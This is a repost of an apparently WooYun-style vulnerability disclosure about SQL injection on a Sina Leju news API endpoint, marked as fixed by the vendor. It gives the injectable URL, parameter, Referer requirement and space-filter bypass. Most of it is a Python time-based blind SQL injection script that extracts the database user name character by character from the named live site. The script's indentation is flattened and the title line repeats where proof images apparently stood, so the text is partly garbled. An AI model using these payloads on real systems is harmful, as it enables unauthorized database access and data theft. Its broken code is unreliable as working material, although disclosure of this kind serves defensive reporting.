神刀安全网

漏洞标题: 新浪乐居某站SQL注入

漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-06: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

。。。

详细说明:

注入点 http://news.leju.com/api/data/gettaglists?category=1*&callback=_1459476097316824

注入参数 category

要带上referer http://news.leju.com/tag/

不能有空格,用+

True

漏洞标题:  新浪乐居某站SQL注入

漏洞证明:

这个站很卡,所以我多加了个循环

版本

漏洞标题:  新浪乐居某站SQL注入

user [email protected]

漏洞标题:  新浪乐居某站SQL注入

code 区域
#!/usr/bin/env python
#-*- coding: utf-8 -*-


import requests
import time
import string



character = string.digits + string.ascii_lowercase + '._@ '
res = ''

headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
'Referer': 'http://news.leju.com/tag/',
}


for i in range(1, 21):
for p in character:
status = False
while True:
start_time = time.time()
url = "http://news.leju.com/api/data/gettaglists?category='%2b(select(0)from(select(sleep((mid(user(),{},1)='{}')*4)))v)%2b'&callback=_1459476097316824".format(i, p)
try:
req = requests.get(url, headers=headers)
except:
pass
else:
print req.url
if time.time() - start_time > 4:
res += p
print "/n" + res + "/n"
status = True
time.sleep(1)
break
break
time.sleep(1)
if status:
break

print "/n/n[Finish]: " + res

修复方案:

。。。

版权声明:转载请注明来源 null_z@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 新浪乐居某站SQL注入

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮